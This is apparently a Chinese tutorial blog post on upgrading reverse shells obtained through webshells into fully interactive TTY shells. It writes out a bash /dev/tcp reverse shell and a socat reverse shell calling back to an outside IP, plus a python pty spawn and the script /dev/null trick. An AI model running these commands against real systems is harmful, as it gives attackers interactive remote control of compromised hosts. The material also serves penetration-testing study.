|
web 脚本中执行命令
Webshell 里经常会看到一些 命令执行, 虚拟终端 之类的可以执行系统命令的功能,原理就是通过脚本语言自身提供的 system, popen, shell_exec 之类的函数来完成执行命令的目的。
这种方式不支持上下文,并且在面对一些需要用户交互的命令时,就显得很鸡肋了。比如说passwd命令:
[pre]
root@localhost:/# passwd root
Enter new UNIX password: [这里需要用户按下键盘]
Retype new UNIX password: [这里需要用户按下键盘]
[/pre]
反弹 Shell 执行命令
后来,有了利用 nc 等工具反弹 shell 这种方式:
[pre]
/bin/bash -i >& /dev/tcp/111.111.111.111/9999 0>&1
[/pre]
都知道用 nc 反弹回来的shell交互上多多少少会遇到一些问题,当你输入 tty 命令时,返回的还是 not a tty。虽然已经满足部分需求,但是不能用到 Tab补全,ctrl+L清屏等操作,尤其是ctrl+C,一不小心按下去,nc都结束掉了,又得重新反弹。
反弹 Shell 中获取交互式 Shell
为什么webshell反弹的 shell 无法交互 ?
我们能清晰的感受到,我在连接一台远程的 Linux 主机的时候,如果我使用的是 ssh 连接目标主机,在连接成功后,我可以使用 Tab 补全命令,可以使用 vim、nano,可以使用top,htop,并且当我按下 Ctrl+C组合按键时,只会结束前台运行的进程,不会结束掉整个 ssh 会话。
究其原因,是因为没有 tty 这么个东西。当然,tty,pty,pts,ptmx,console 这几者有什么区别,有兴趣的读者可以自行查阅相关资料,这里不再深讲,也可以看一下下面这一篇文章:The TTY demystified 译文:解密TTY
总结下来就是,我们提到的这些个命令,在执行的时候,需要获取当前上下文环境中的 tty, 并根据 tty 的大小,来处理输出和输出。而脚本语言默认执行系统命令时,是没有获取 tty 的。
那么有没有办法反弹交互式 shell 回来呢?当然有了
python pty 方式
在 nc 反弹回来的 shell 中,如果发现对方机器上有 python 的话,那就爽了。
[pre]
python -c '__import__("pty").spawn("/bin/bash")'
[/pre]
这种方式可以得到一个交互式的 Shell,确实方便了许多。
虽说绝大多数 Linux 下都有 python 环境,那么如果对方没有 python 的时候呢?比如说容器?
当然了,除了上面说的这种方式,如果目标有 python 的情况下,我们还可以使用 SSTIC 2018 上公开的开源工具 FFM 来增强反弹回来的 shell。
FFM 项目地址:https://github.com/JusticeRage/FFM
FFM 演示 PPT: http://manalyzer.org/static/talks/SSTIC2018.pptx
PPT 里面有操作的视频,感兴趣的同学可以下载了看一下
socat 反弹真正交互式的 Shell
socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。
说个题外话,在 CTF PWN 题目布署的时候,可以使用 socat 来将题目的输入输出转到网络接口上
直接说下怎么使用吧,虽然网上教程一抓一大把:
step1:在 vps 上监听:
[pre]
$ socat file:`tty`,raw,echo=0 tcp-listen:9999
[/pre]
step2:把socat上传到目标机器上,然后执行:
[pre]
$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
[/pre]
就可以得到一个完整的交互式shell了,非常方便。
有关反弹 shell 中获取交互式Shell的方法,有兴趣的朋友可以看一下这篇博文:
Upgrading simple shells to fully interactive TTYs,英文不好的同学也可以参考一下译文:将简单的shell升级为完全交互式的TTY
script 获取 pty
我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim 了:
[pre]
$ script /dev/null
[/pre]
如果不加 /dev/null 的话,会在当前路径下生成一个名字是 typescript 的文件,记录着在 script 生命周期里你执行的所有命令和结果。
呐,下面是执行之后的结果:
[pre]
root@46958b799745:/tmp# tty
tty
not a tty
root@46958b799745:/tmp# script /dev/null
script /dev/null
# tty
tty
/dev/pts/1
[/pre] |
|